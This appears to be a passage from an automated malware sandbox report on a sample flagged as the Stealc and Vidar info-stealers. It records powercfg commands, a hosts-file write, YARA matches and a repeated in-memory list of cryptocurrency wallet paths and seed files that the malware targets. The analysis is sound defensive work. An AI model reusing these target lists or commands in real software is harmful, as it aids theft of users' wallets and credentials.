Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00418CF0 GetSystemTime,

0_2_00418CF0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_004179E0 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_004179E0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_00417BC0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417BC0

Source: C:\Users\user\Desktop\xLgTQcFdIJ.exe

Code function: 0_2_6C748390 NSS_GetVersion,

0_2_6C748390

Lowering of HIPS / PFW / Operating System Security Settings

Modifies power options to not sleep / hibernate

Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0	Jump to behavior
Source: C:\ProgramData\EHDHDHIECG.exe	Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0	Jump to behavior

Modifies the hosts file

Source: C:\ProgramData\EHDHDHIECG.exe

File written: C:\Windows\System32\drivers\etc\hosts

Jump to behavior

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.3.xLgTQcFdIJ.exe.4960000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.4880e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.4880e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.xLgTQcFdIJ.exe.4960000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.xLgTQcFdIJ.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2193657294.0000000004880000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1674473489.0000000004960000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2193454572.0000000002F69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: xLgTQcFdIJ.exe PID: 6956, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2193454572.0000000002FC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: xLgTQcFdIJ.exe, 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: xLgTQcFdIJ.exe, 00000000.00000002.2209781589.00000000233A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
